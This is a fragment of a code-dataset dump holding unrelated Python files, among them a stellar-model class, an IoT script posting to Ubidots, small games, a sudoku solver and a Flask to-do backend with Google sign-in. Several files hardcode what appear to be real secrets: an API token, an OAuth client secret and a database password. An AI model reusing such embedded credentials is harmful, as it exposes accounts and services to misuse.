optional\n Format string for floating point numbers in the **glob**\n and **var** arrays.\n \"\"\"\n save_fgong(filename, self.glob, self.var,\n ivers=self.ivers, comment=self.description,\n float_formatter=float_formatter)\n\n def to_amdl(self):\n \"\"\"Convert the model to an ``ADIPLSStellarModel`` object.\"\"\"\n from .adipls import ADIPLSStellarModel\n\n return ADIPLSStellarModel(\n *fgong_to_amdl(self.glob, self.var, G=self.G), G=self.G)\n\n def to_gyre(self, version=None):\n \"\"\"Convert the model to a ``GYREStellarModel`` object.\n\n Parameters\n ----------\n version: int, optional\n Specify GYRE format version number times 100. i.e.,\n ``version=101`` produce a file with data version 1.01. If\n ``None`` (the default), the latest version available in\n TOMSO is used.\n \"\"\"\n from .gyre import gyre_header_dtypes, gyre_data_dtypes, GYREStellarModel\n\n if version is None:\n version = max([k for k in gyre_header_dtypes.keys()])\n\n header = np.zeros(1, gyre_header_dtypes[version])\n header['M'] = self.glob[0]\n header['R'] = self.glob[1]\n header['L'] = self.glob[2]\n\n if version > 1:\n header['version'] = version\n\n data = np.zeros(self.nn, gyre_data_dtypes[version])\n # data['r'] = self.var[:,0]\n # data['T'] = self.var[:,2]\n # data['P'] = self.var[:,3]\n # data['rho'] = self.var[:,4]\n\n # if np.all(np.diff(data['r']) <= 0):\n # return GYREStellarModel(header, data[::-1], G=self.G)\n # else:\n # return GYREStellarModel(header, data, G=self.G)\n\n g = GYREStellarModel(header[0], data, G=self.G)\n\n g.r = self.r\n g.m = self.m\n g.T = self.T\n g.P = self.P\n g.rho = self.rho\n g.Gamma_1 = self.Gamma_1\n g.N2 = self.N2\n g.kappa = self.kappa\n g.L_r = self.L_r\n g.data['nabla_ad'] = self.var[:,10]\n g.data['delta'] = self.var[:,11]\n\n # The definitions of epsilon in FGONG and GYRE formats might\n # be different. Compute non-adiabatic modes at your peril!\n if version < 101:\n g.data['eps_tot'] = self.epsilon\n else:\n g.data['eps'] = self.epsilon\n\n if np.all(np.diff(g.r) <= 0):\n g.data = g.data[::-1]\n\n g.data['k'] = np.arange(self.nn) + 1\n return g\n\n # FGONG parameters that can be derived from data\n @property\n def iconst(self): return len(self.glob)\n\n @property\n def nn(self): return self.var.shape[0]\n\n @property\n def ivar(self): return self.var.shape[1]\n\n # Various properties for easier access to the data in `glob` and\n # `var`.\n\n @property\n def M(self): return self.glob[0]\n\n @M.setter\n def M(self, val): self.glob[0] = val\n\n @property\n def R(self): return self.glob[1]\n\n @R.setter\n def R(self, val): self.glob[1] = val\n\n @property\n def L(self): return self.glob[2]\n\n @L.setter\n def L(self, val): self.glob[2] = val\n\n @property\n def r(self): return self.var[:,0]\n\n @r.setter\n def r(self, val):\n self.var[:,0] = val\n self.var[:,17] = self.R-val\n\n @property\n def lnq(self): return self.var[:,1]\n\n @lnq.setter\n def lnq(self, val): self.var[:,1] = val\n\n @property\n def T(self): return self.var[:,2]\n\n @T.setter\n def T(self, val): self.var[:,2] = val\n\n @property\n def P(self): return self.var[:,3]\n\n @P.setter\n def P(self, val): self.var[:,3] = val\n\n @property\n def rho(self): return self.var[:,4]\n\n @rho.setter\n def rho(self, val): self.var[:,4] = val\n\n @property\n def X(self): return self.var[:,5]\n\n @X.setter\n def X(self, val): self.var[:,5] = val\n\n @property\n def L_r(self): return self.var[:,6]\n\n @L_r.setter\n def L_r(self, val): self.var[:,6] = val\n\n @property\n def kappa(self): return self.var[:,7]\n\n @kappa.setter\n def kappa(self): self.var[:,7] = val\n\n @property\n def epsilon(self): return self.var[:,8]\n\n @epsilon.setter\n def epsilon(self, val): self.var[:,8] = val\n\n @property\n def Gamma_1(self): return self.var[:,9]\n\n @Gamma_1.setter\n def Gamma_1(self, val): self.var[:,9] = val\n\n @property\n def G1(self): return self.var[:,9]\n\n @G1.setter\n def G1(self, val): self.var[:,9] = val\n\n @property\n def cp(self): return self.var[:,12]\n\n @cp.setter\n def cp(self, val): self.var[:,12] = val\n\n @property\n def AA(self): return self.var[:,14]\n\n @AA.setter\n def AA(self, val): self.var[:,14] = val\n\n @property\n def Z(self): return self.var[:,16]\n\n @Z.setter\n def Z(self, val): self.var[:,16] = val\n\n # Some convenient quantities derived from `glob` and `var`.\n @property\n def x(self): return self.r/self.R\n\n @x.setter\n def x(self, val): self.r = val*self.R\n\n @property\n def q(self): return np.exp(self.lnq)\n\n @q.setter\n def q(self, val): self.lnq = np.log(val)\n\n @property\n def m(self): return self.q*self.M\n\n @m.setter\n def m(self, val): self.q = val/self.M\n\n @property\n @regularize()\n def N2(self): return self.AA*self.g/self.r\n\n @property\n @regularize(y0=3)\n def U(self): return 4.*np.pi*self.rho*self.r**3/self.m\n\n @property\n @regularize()\n def V(self): return self.G*self.m*self.rho/self.P/self.r\n\n @property\n def Vg(self): return self.V/self.Gamma_1\n\n @property\n def tau(self):\n if np.all(np.diff(self.x) < 0):\n return -integrate(1./self.cs, self.r)\n else:\n tau = integrate(1./self.cs[::-1], self.r[::-1])[::-1]\n return np.max(tau)-tau\n\n # - ``G1``: first adiabatic index (array)\n","sub_path":"tomso/fgong.py","file_name":"fgong.py","file_ext":"py","file_size_in_byte":21551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"140215276","text":"\n\n#!/usr/bin/env python3\nimport serial\nimport time\nimport requests\nimport math\nimport random\nimport json\n\nTOKEN = \"BBFF-afE7LF7xTEqvIwtQy49OGDgqr28g3u\"\nDEVICE_LABEL=\"raspberry\"\n\ndef post_request(payload):\n # Creates the headers for the HTTP requests\n url = \"http://industrial.api.ubidots.com\"\n url = \"{}/api/v1.6/devices/{}\".format(url, DEVICE_LABEL)\n headers = {\"X-Auth-Token\": TOKEN, \"Content-Type\": \"application/json\"}\n#temperatura, ph, condutividade e luminosidade\n # Makes the HTTP requests\n status = 400\n attempts = 0\n while status >= 400 and attempts <= 5:\n req = requests.post(url=url, headers=headers, json=payload)\n status = req.status_code\n attempts += 1\n time.sleep(1)\n\n # Processes results\n if status >= 400:\n print(\"[ERROR] Could not send data after 5 attempts, please check \\\n your token credentials and internet connection\")\n return False\n\n print(\"[INFO] request made properly, your device is updated\")\n return True\n\n\ndef main():\n try:\n line = ser.readline()\n line = line[:-1]\n print(line)\n payload = json.loads(line)\n print(\"[INFO] Attemping to send data\")\n post_request(payload)\n print(\"[INFO] finished\")\n except:\n pass\n print(\"[INFO] Error on post\")\n\n\nif __name__ == '__main__':\n ser = serial.Serial('/dev/ttyACM0', 9600, timeout=1)\n ser.flush()\n time.sleep(3)\n while (True):\n main()\n time.sleep(8)\n ser.flush()\n","sub_path":"Ubidots.py","file_name":"Ubidots.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"381202288","text":"## Import module for generating random number\nimport random\n\n## Guessing game function\ndef guess():\n \n ## Initialize global variables\n number_of_guess = 0\n \n ## Play the guessing game\n while number_of_guess <= 3:\n \n ## Get user input\n user_number = int(input('Enter any number between 1 - 10: '))\n \n ## Generate random number between 1 - 100\n random_number = random.randint(1, 10)\n \n ## Compare user value against randomly generated number\n if user_number == random_number:\n print('Yay, you won!')\n \n return True\n elif user_number < random_number:\n print('Try again. The number is too low.\\n')\n elif user_number > random_number:\n print('Try again. The number is too high.\\n')\n \n number_of_guess += 1\n \n ## Prompt game finished message\n if number_of_guess > 3:\n print('Out of time. Game finished!')\n return False\n \n## Play guessing game\nguess()\n\n\n","sub_path":"_Python Approach/Difficulty_1/Games/HighLow Number Guessing/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"528053093","text":"print()\nprint()\nprint(\"----------------------------------------------------------------\")\nprint(\"\"\"Hello Hero! I know you were hoping to take the day\noff today, but unfortunately you have encountered a goblin :(\"\"\")\nprint(\"----------------------------------------------------------------\")\n\n\nclass Charachter: \n def __init__(self, name, health, power):\n self.name = name\n self.health = health\n self.power = power\n\n def print_status(self):\n print(\"You have %d health and %d power.\" % (self.health, self.power))\n\n def alive(self):\n if self.health > 0 and self.health > 0:\n return True\n else:\n return False\n\nclass Hero(Charachter):\n def __init__(self, name, health, power):\n super().__init__(name, health, power)\n\n def attack(self, enemy):\n # Hero attacks goblin\n enemy.health -= self.power\n print(\"That'll teach him!!!!!!\")\n print(\"You damaged the goblin by %d levels.\" % self.power)\n if enemy.health <= 0:\n print(\"The goblin is dead. Now you can finally take the day off.\")\n\n \n\nclass Goblin(Charachter):\n def __init__(self, name):\n super().__init__(name, 30, 10)\n def attack(self, enemy):\n if self.health > 0:\n # Goblin attacks hero\n enemy.health -= self.power\n print(\"'Ouch, who knew this guy was so strong?\")\n print()\n print(\"The goblin has damaged you by %d levels\" %self.power)\n \n if enemy.health <= 0:\n print(\"Sorry that you're dead now, big bummer.\")\n else:\n (\"Goblin is still alive\")\n \ndef main():\n goblin = Goblin(\"Goblin\")\n hero = Hero(\"Hero\", 60, 20)\n\n while goblin.alive() and hero.alive():\n print()\n print()\n print(\"You're at health level %d, and power level %d.\" % (hero.health, hero.power))\n print(\"The Goblin is at health level %d, and power level %d.\" % (goblin.health, goblin.power))\n print()\n print(\"What did you want to do? (Choose 1, 2, or 3.)\")\n print(\"1. Are you brave enough to fight the goblin?\")\n print(\"2. Honestly, he doesn't look that scary so, I'm not worried about it.\")\n print(\"3. Fight or flight??! Definitely flight.... I'm out of here.\")\n print(\"------------------------------------------------------------------------- \")\n user_input = input()\n if user_input == \"1\":\n hero.attack(goblin)\n elif user_input == \"2\":\n goblin.attack(hero)\n elif user_input == \"3\":\n goblin.attack(hero)\n print(\"You can't run away from your problems!!!!\")\n else:\n print(\"Invalid input %r\" % user_input)\n\n\n\n\n \nmain()\n","sub_path":"herogamept1.py","file_name":"herogamept1.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"448672733","text":"################ Hill-Climb ################\nimport sudoku\n\ndef cross(A, B):\n \"Cross product of elements in A and elements in B.\"\n return [a+b for a in A for b in B]\n\ndigits = '123456789'\nrows = 'ABCDEFGHI'\ncols = digits\nsquares = cross(rows, cols)\nunitlist = ([cross(rows, c) for c in cols] +\n [cross(r, cols) for r in rows] +\n [cross(rs, cs) for rs in ('ABC','DEF','GHI') for cs in ('123', '456', '789')])\nunits = dict((s, [u for u in unitlist if s in u])\n for s in squares)\npeers = dict((s, set(sum(units[s],[]))-set([s]))\n for s in squares)\n\n#If no solution is found, restart X times\ndef randomRestartHillClimb(values, X):\n original = values\n teller = 0 #try X times\n amount = 0\n bestHeuristic = 999 #Lower is better\n bestState = original\n while(teller s]\n for pos in possibleSwaps:\n values = Swap(values, og, s, pos)\n amount += 1\n if values == False:\n values = backup\n else:\n h = Eval(backup, values, s, pos, chv)\n if h 1:\n values[var] = WeNeed[0]\n WeNeed.remove(WeNeed[0])\n return values\n\n#Swap 2 squares in the sudoku \ndef Swap(values, original, place1, place2):\n if len(original[place1])==1 | len(original[place2])==1:\n return False\n var1 = values[place1]\n var2 = values[place2]\n values[place1] = var2\n values[place2] = var1\n return values\n\n#Evaluate function of a sudoku, a lower number is better\ndef Eval(valuesOld, valuesNew, place1, place2, oldHeur):\n changed = [units[place1][1], units[place2][1],\n units[place1][0], units[place2][0]]\n change = 0\n for row in changed:\n oldVal = []\n newVal = []\n for var in row:\n oldVal.append(valuesOld[var][0])\n newVal.append(valuesNew[var][0])\n change -= len([item for item in digits if item not in oldVal])\n change += len([item for item in digits if item not in newVal]) \n return oldHeur + change\n \n \n \n#Evaluate function of a sudoku, a lower number is better\ndef EvalOld(values):\n ans = 0\n rows = [units['A1'][1], units['B1'][1], units['C1'][1],\n units['D1'][1], units['E1'][1], units['F1'][1],\n units['G1'][1], units['H1'][1], units['I1'][1]] \n columns = [units['A1'][0], units['A2'][0], units['A3'][0],\n units['A4'][0], units['A5'][0], units['A6'][0],\n units['A7'][0], units['A8'][0], units['A9'][0]] \n for row in rows:\n rowValues = []\n for var in row: \n rowValues.append(values[var][0])\n ans+= len([item for item in digits if item not in rowValues])\n for col in columns:\n colValues = []\n for var in col: \n colValues.append(values[var][0])\n ans+= len([item for item in digits if item not in colValues])\n return ans\n\n#Iterated local search\ndef ILS(values, steps, maxRounds):\n \"Try to find a solution using hillclimbing, and generate random successors if a local optimum is found\"\n og = values\n amountOfRounds = 0\n original = values\n amount = 0\n bestHeuristic = 999 #Lower is better\n bestState = original\n values = fillIn(original.copy())\n while amountOfRounds < maxRounds:\n ans, h, amount = hillClimb(values, original, amount) \n if h < bestHeuristic:\n bestHeuristic = h\n bestState = ans\n amountOfRounds = 0\n if bestHeuristic == 0:\n return bestState, amount\n values = RandomSteps(values, og, steps)\n amountOfRounds+=1\n return False, amount\n\n#Do K random steps\ndef RandomSteps(values, og, steps):\n backup = values.copy()\n teller = 0\n while teller < steps:\n random.shuffle(squares)\n s = squares[0]\n possibleSwaps = [item for item in units[s][2]]\n possibleSwaps.remove(s)\n random.shuffle(possibleSwaps)\n values = Swap(values, og, s, possibleSwaps[0])\n if(values == False):\n values = backup\n else:\n teller+=1\n backup = values.copy()\n return values\n \n\n\n","sub_path":"hillClimb.py","file_name":"hillClimb.py","file_ext":"py","file_size_in_byte":7187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"400273569","text":"from nose.tools import assert_equals, assert_true, assert_false\nfrom mock import patch, call\n\nfrom pretenders.http.client import CaseInsensitiveDict, SubClient\n\n\ndef test_caseinsensitivedict_creation():\n \"Test case insensitivity after creation\"\n test_dict = CaseInsensitiveDict({'MiXeD': 1,\n 'lower': 2,\n 'UPPER': 3})\n assert_equals(1, test_dict['mixed'])\n assert_equals(1, test_dict['MIXED'])\n assert_equals(1, test_dict['MIXed'])\n\n assert_equals(2, test_dict['lower'])\n assert_equals(2, test_dict['LOWER'])\n assert_equals(2, test_dict['LOWer'])\n\n assert_equals(3, test_dict['upper'])\n assert_equals(3, test_dict['UPPER'])\n assert_equals(3, test_dict['UPPer'])\n\n\ndef test_caseinsensitivedict_update():\n \"Test case insensitivity after update\"\n test_dict = CaseInsensitiveDict()\n\n test_dict['someKEY'] = 1\n\n assert_equals(1, test_dict['someKEY'])\n assert_equals(1, test_dict['SOMEkey'])\n assert_equals(1, test_dict['somekey'])\n\n\ndef test_caseinsensitivedict_raises_keyerror():\n \"Test that if there isn't a case insensitive match a KeyError is raised\"\n test_dict = CaseInsensitiveDict({'MiXeD': 1,\n 'lower': 2,\n 'UPPER': 3})\n key_error_raised = False\n try:\n test_dict['missing_key']\n except KeyError:\n key_error_raised = True\n assert_true(key_error_raised)\n\n\n@patch('pretenders.http.client.HTTPConnection')\ndef test_subclient_connection_created_only_when_needed(HTTPConnection):\n \"Test that the subclient connection is only created when needed.\"\n client = SubClient('localhost:8000', 'test')\n assert_false(HTTPConnection.called)\n # access the connection\n client.conn\n assert_equals(HTTPConnection.call_args, call('localhost:8000',))\n","sub_path":"pretenders/http/tests/unit/test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"367438146","text":"class fUCAhliWaris_Edit:\r\n def __init__(self, formObj, parentForm):\r\n pass\r\n #--\r\n\r\n def Show(self, mode):\r\n form = self.FormObject\r\n \r\n if mode == 'view':\r\n self.pInput.SetAllControlsReadOnly(1)\r\n self.pButton.GetControlByName('btnSave').Enabled = 0\r\n elif mode == 'edit' and self.uipDetail.is_auth == 'T':\r\n form.ShowMessage('Data ini sudah diotorisasi...')\r\n form.Close(1)\r\n return\r\n \r\n self.FormContainer.Show()\r\n\r\n def validateForm(self):\r\n form = self.FormObject\r\n app = form.ClientApplication\r\n uipDetail = form.GetUIPartByName('uipDetail')\r\n \r\n \"\"\"Nomor Peserta\"\"\"\r\n if uipDetail.GetFieldValue('LNasabahDPLK.no_peserta') in [\"\", None]:\r\n app.ShowMessage('Nomor peserta masih kosong')\r\n return False\r\n\r\n \"\"\"Nama Lengkap\"\"\"\r\n if uipDetail.GetFieldValue('LNasabahDPLK.nama_lengkap') in [\"\", None]:\r\n app.ShowMessage('Nama lengkap masih kosong')\r\n return False\r\n \r\n if uipDetail.nama_ahli_waris in ['', None]:\r\n app.ShowMessage('Nama Ahli Waris masih kosong')\r\n return False\r\n \r\n if uipDetail.hubungan_keluarga in ['', None]:\r\n app.ShowMessage('Hubungan Keluarga masih kosong')\r\n return False\r\n \r\n return True\r\n \r\n def btnSaveOnClick(self, sender):\r\n # procedure(sender: TrtfButton)\r\n form = sender.OwnerForm\r\n app = form.ClientApplication\r\n uipDetail = form.GetUIPartByName('uipDetail')\r\n \r\n isValid = self.validateForm()\r\n if not isValid:\r\n return\r\n \r\n uipDetail.Edit()\r\n uipDetail.is_valid = 'T'\r\n uipDetail.keterangan = None\r\n \r\n form.CommitBuffer()\r\n form.PostResult()\r\n \r\n sender.ExitAction = 1","sub_path":"dialogs/kakas/fUCAhliWaris_Edit_intr.py","file_name":"fUCAhliWaris_Edit_intr.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"471863004","text":"from django.http import HttpResponse,JsonResponse\nfrom django.http import HttpResponseRedirect\n\ndef index_view(request):\n html ='

这是首页

'\n\n return HttpResponse(html)\n\ndef page1_view(request):\n html ='

第一个页面

'\n # return HttpResponse(html)\n \n return HttpResponseRedirect('/page2')\n\ndef page2_view(request):\n html ='

第二个页面

'\n return HttpResponse(html)\n\ndef pagen_view(request,n):\n html = '===这是第%s个页面===' % (n)\n return HttpResponse(html)\n\ndef cal_view(request,num1,op,num2):\n num1 =int(num1)\n num2=int(num2)\n if op not in['mul','add','sub']:\n return HttpResponse('Sorry~Your op is wrong~')\n if op =='add':\n res =num1 +num2\n elif op =='mul':\n res =num1 +num2\n else:\n res =num1 -num2\n return HttpResponse('result is %s'%(res))\n\ndef person_view(request,name,age):\n return HttpResponse('姓名:%s 年龄:%s'%(name,age))\n\ndef birthday_view(request,y,m,d):\n print(request.path_info)\n print(request.get_full_path())\n print(request.method)\n\n print(request.GET)\n print(request.POST)\n return HttpResponse('生日:%s年%s月%s日'%(y,m,d))","sub_path":"django/day01/mysite1/mysite1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"474086793","text":"import sys\nimport scramble\nimport signal\n\nfrom PySide import QtCore, QtGui\n\nfrom cgev.ui.window import QEditableLCDNumber\n\nclass Win(QtGui.QMainWindow):\n def __init__(self, parent=None):\n super(Win, self).__init__()\n\n # w = QtGui.QLCDNumber(self)\n w = QEditableLCDNumber(self)\n w.display(42)\n\n self.setCentralWidget(w)\n\nif __name__ == '__main__':\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n \n # app = QtGui.QApplication(sys.argv)\n app = QtGui.QApplication.instance()\n\n timer = QtCore.QTimer()\n timer.start(1000)\n timer.timeout.connect(lambda: None)\n \n win = Win()\n win.show()\n sys.exit(app.exec_())\n","sub_path":"test/ui/editlcd.py","file_name":"editlcd.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"530867322","text":"from django.shortcuts import render\nfrom listings.models import Listing\nfrom realtors.models import Realtor\nfrom listings.choices import *\n\n\ndef index(req):\n listings = Listing.objects.order_by(\n '-list_date').filter(is_published=True)[0:3]\n\n context = {\n 'listings': listings,\n 'states': states,\n 'bedrooms': bedrooms,\n 'prices': prices,\n }\n\n return render(req, 'pages/index.html', context)\n\n\ndef about(req):\n realtors = Realtor.objects.order_by('hire_date')\n mvp_realtors = Realtor.objects.filter(is_mvp=True)\n\n context = {\n 'realtors': realtors,\n 'mvp_realtors': mvp_realtors,\n }\n\n return render(req, 'pages/about.html', context)\n","sub_path":"pages/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"263012439","text":"#!/usr/bin/env python3\nfrom flask import Flask, request, jsonify\nfrom flask_cors import CORS, cross_origin\nimport socket\nimport psycopg2\nimport json\nfrom google.oauth2 import id_token\nfrom google.auth.transport import requests as requests_google\nimport requests\n\nprint('starting server')\n\n#initialize app\napp = Flask(__name__)\nCORS(app)\n\n#functions for database access\ndef get_connection(): \n return psycopg2.connect(host = \"localhost\", dbname=\"todo_app\", user=\"postgres\", password=\"postgres\")\n\ndef add_task_db(curs, task, user_id): \n curs.execute(\"INSERT INTO tasks (task_name, due_time, notifications, task_id, last_updated, user_id, time_made) VALUES(%s, %s, %s, %s, %s, %s, %s)\",\n (task.get('task_name'), task.get('due_time'), task.get('notifications'), task.get('task_id'), task.get('last_updated'), user_id, task.get('time_made'))) \n\ndef delete_task_db(curs, data, user_id):\n curs.execute(\"DELETE FROM tasks WHERE task_id = %s AND user_id = %s\", (data, user_id)) \n\n#function for authorizing token with each request\ndef authorize_token(token): \n try: \n decoded_token = id_token.verify_oauth2_token(token, requests_google.Request(), \"195081855240-jjsqpn2t0oucb8ets7li98p8vodja8jd.apps.googleusercontent.com\") \n print(decoded_token) \n if(decoded_token.get('aud') == \"195081855240-jjsqpn2t0oucb8ets7li98p8vodja8jd.apps.googleusercontent.com\" and decoded_token.get('iss') == \"accounts.google.com\"): \n print('epicsauce') \n return decoded_token \n else:\n return False\n except:\n return False\n\n#functions for requests\n@app.route('/sign-up-in', methods=['POST'])\ndef sign_up_in():\n print('sign up in ') \n conn = get_connection()\n curs = conn.cursor() \n data = (request.get_data(as_text = False)).decode('utf-8')\n payload = {'code': data, 'client_id':'195081855240-jjsqpn2t0oucb8ets7li98p8vodja8jd.apps.googleusercontent.com', 'client_secret': 'BRxJqpHe3J8ct7czwuca_jXg', 'grant_type': 'authorization_code', 'redirect_uri': 'postmessage', 'access_type':'offline'} \n\n try:\n resp = json.loads((requests.post('https://oauth2.googleapis.com/token', params=payload)).text)\n id_token = authorize_token(resp.get('id_token')) \n user_id = id_token.get('sub')\n curs.execute(\"SELECT user_id FROM users\") \n le_data = (curs.fetchall())\n le_data = [user_id[0] for user_id in le_data]\n settings = '{\"clock_mode\":false}'\n\n if(user_id not in le_data):\n print('creating user account')\n curs.execute(\"INSERT INTO users (name, user_id, email, settings) VALUES(%s, %s, %s, %s)\", (id_token.get('given_name'), id_token.get('sub'), id_token.get('email'), settings)) \n\n else:\n print('user already has account, logging in') \n print('token authorized, user logged in, returning refresh token, id_token and access token')\n \n conn.commit()\n curs.close()\n conn.close() \n return jsonify(resp)\n \n except:\n return jsonify(resp)\n\n@app.route('/post-settings', methods=['POST'])\ndef post_settings():\n print('posting settings') \n data = request.get_data() \n data = str((data.decode(\"utf-8\")).strip(\"''\"))\n decoded_token = authorize_token(request.headers['Authorization'])\n\n if(decoded_token != False):\n conn = get_connection()\n curs = conn.cursor()\n\n curs.execute(\"UPDATE users SET settings = %s WHERE user_id = %s\", (data, decoded_token.get('sub'))) \n\n conn.commit()\n curs.close()\n conn.close()\n return str(data)\n else:\n print('error')\n return jsonify({\"result\" : \"failure\", \"error\" : \"401\", \"message\" : \"was not able to authorize user\"}), 401\n\n@app.route('/get-settings', methods=['GET'])\ndef get_settings():\n print('get settings') \n token = authorize_token(request.headers['Authorization'])\n\n if(token != False):\n conn = get_connection()\n curs = conn.cursor()\n \n curs.execute(\"SELECT settings FROM users WHERE user_id = %s\", [token.get('sub')])\n settings = curs.fetchone()[0] \n\n curs.close()\n conn.close()\n return jsonify(settings) \n \n else:\n print('error')\n return jsonify({\"result\" : \"failure\", \"error\" : \"401\", \"message\" : \"was not able to authorize user\"}), 401\n\n@app.route('/recieve-all-tasks', methods=['POST'])\ndef recieve_all_tasks(): \n print('recieving all tasks') \n data = request.get_json()\n token = authorize_token(request.headers['Authorization'])\n\n if(token != False):\n conn = get_connection() \n curs = conn.cursor() \n \n for task in data:\n print(task)\n add_task_db(curs, task, token.get('sub')) \n\n conn.commit()\n curs.close()\n conn.close()\n return str(data)\n \n else:\n print('error')\n return jsonify({\"result\" : \"failure\", \"error\" : \"401\", \"message\" : \"was not able to authorize user\"}), 401\n\n@app.route('/get-tasks', methods=['GET'])\ndef get_tasks(): \n print('getting tasks')\n token = authorize_token(request.headers['Authorization']) \n\n if(token != False):\n conn = get_connection()\n curs = conn.cursor() \n curs.execute(\"SELECT row_to_json(tasks) FROM tasks WHERE user_id = %s\", [token.get('sub')]) \n\n rows = (curs.fetchall()) \n rows = [row[0] for row in rows] \n\n curs.close() \n conn.close()\n return jsonify(rows)\n \n else:\n print('error')\n return jsonify({\"result\" : \"failure\", \"error\" : \"401\", \"message\" : \"was not able to authorize user\"}), 401\n\n@app.route('/delete-task', methods=['DELETE'])\ndef delete_task():\n print('deleting task')\n token = authorize_token(request.headers['Authorization'])\n \n if(token != False):\n data = str(request.get_json()) \n conn = get_connection()\n curs = conn.cursor() \n \n delete_task_db(curs, data, token.get('sub'))\n\n conn.commit()\n curs.close()\n conn.close()\n return str(data)\n \n else:\n print('error')\n return jsonify({\"result\" : \"failure\", \"error\" : \"401\", \"message\" : \"was not able to authorize user\"}), 401\n\n@app.route('/post-task', methods=['POST'])\ndef post_task():\n print('posting task')\n token = authorize_token(request.headers['Authorization'])\n\n if(token != False):\n data = request.get_json()\n conn = get_connection()\n curs = conn.cursor()\n \n add_task_db(curs, data, token.get('sub'))\n\n conn.commit()\n curs.close()\n conn.close() \n return str(data)\n\n else:\n print('error')\n return jsonify({\"result\" : \"failure\", \"error\" : \"401\", \"message\" : \"was not able to authorize user\"}), 401\n\n@app.route('/edit-task', methods=['POST'])\ndef edit_task():\n print('editing task')\n token = authorize_token(request.headers['Authorization'])\n \n if(token != False):\n data = request.get_json()\n conn = get_connection()\n curs = conn.cursor()\n\n user_id = token.get('sub')\n delete_task_db(curs, data.get('task_id'), user_id)\n add_task_db(curs, data, user_id) \n\n conn.commit()\n curs.close()\n conn.close()\n return str(data)\n\n else:\n print('error')\n return jsonify({\"result\" : \"failure\", \"error\" : \"401\", \"message\" : \"was not able to authorize user\"}), 401\n\n@app.route('/recieve-ticket', methods=['POST'])\ndef recieve_ticket():\n print('recieving ticket') \n decoded_token = authorize_token(request.headers['Authorization'])\n\n if(decoded_token != False): \n data = request.get_json() \n conn = get_connection()\n curs = conn.cursor()\n user_id = decoded_token.get('sub') \n\n for action in data:\n action_mode = action.get('mode'); \n task = action.get('data'); \n\n if action_mode == 'add':\n add_task_db(curs, task, user_id) \n \n elif action_mode == 'edit': \n curs.execute('SELECT last_updated FROM tasks WHERE task_id = %s AND user_id = %s', (task.get('task_id'), user_id))\n\n last_updated = (curs.fetchone())[0]\n \n if(task.get('last_updated') > int(last_updated)):\n delete_task_db(curs, task.get('task_id'), user_id) \n add_task_db(curs, task, user_id) \n\n elif action_mode == 'delete':\n delete_task_db(curs, task, user_id)\n\n conn.commit()\n curs.close()\n conn.close()\n return str(data)\n\n else:\n print('error')\n return jsonify({\"result\" : \"failure\", \"error\" : \"401\", \"message\" : \"was not able to authorize user\"}), 401\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port='5000', debug='False')\n\n\n\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"617139584","text":"import sys\nsys.path.insert(0, '../..')\n\nimport generatorUtils as gu\nimport random\nimport numpy as np\nfrom base import Decision, ReusableDecision\n\n\n'''\nPeople with armslength shapes often use constants...\nWhich could count as a rubric item. And should likely\nchange their probability of using constants in the body\n\nSimilarly, people with armsUnrolled hardly ever put it in \na for loop...\n'''\n\nclass DrawShapeX(Decision):\n def registerChoices(self):\n self.addChoice('drawShape-style', {\n 'standard':150 * self.getState('Ability'),\n 'armsAfter':13,\n 'armsBefore':3,\n 'armsUnrolled':2,\n })\n\n def updateRubric(self):\n if self.getChoice('drawShape-style') != 'standard':\n self.turnOnRubric('Single shape: armslength')\n\n def renderCode(self):\n style = self.getChoice('drawShape-style')\n if style == 'armsUnrolled': return '{DrawShapeUnrolled}'\n\n core = self.expand('DrawShapeStandard')\n if style == 'armsBefore':\n before = self.expand('DrawShapeArmsBefore')\n return before + '\\n' + core\n\n if style == 'armsAfter':\n after = self.expand('DrawShapeArmsAfter')\n return core + '\\n' + after\n\n if style == 'standard':\n return core\n \n raise Exception('unexpected case')\n\nclass DrawShapeStandard(Decision):\n def registerChoices(self):\n self.addChoice('DrawShapeStandard', {\n 'hasRepeat':200 * self.getState('Ability'),\n 'noRepeat':20\n })\n\n def updateRubric(self):\n # note: a missing repeat will be found in \"Program\"\n pass\n\n def renderCode(self):\n style = self.getChoice('DrawShapeStandard')\n if style == 'hasRepeat':\n parts = {\n 'Body':self.expand('MoveTurn'),\n 'Iter':self.expand('DrawShapeXIter')\n }\n code = '''Repeat({Iter}){{\n {Body}\n }}'''\n return gu.format(code, parts)\n else:\n return '{MoveTurn}'\n\nclass DrawShapeXIter(Decision):\n def registerChoices(self):\n self.addChoice('DrawShapeX-iter', {\n 'x': 100 * self.getState('Ability'),\n '9': 4, 'x * 10': 1, '4': 5, '3': 4, '1': 2, \n 'x + 1': 1, 'x / 2': 1, '10': 1, \n 'x * 0': 1, '360 / x': 1\n })\n\n def updateRubric(self):\n if self.getChoice('DrawShapeX-iter') != 'x':\n self.turnOnRubric('Single shape: wrong iter #')\n\n def renderCode(self):\n return 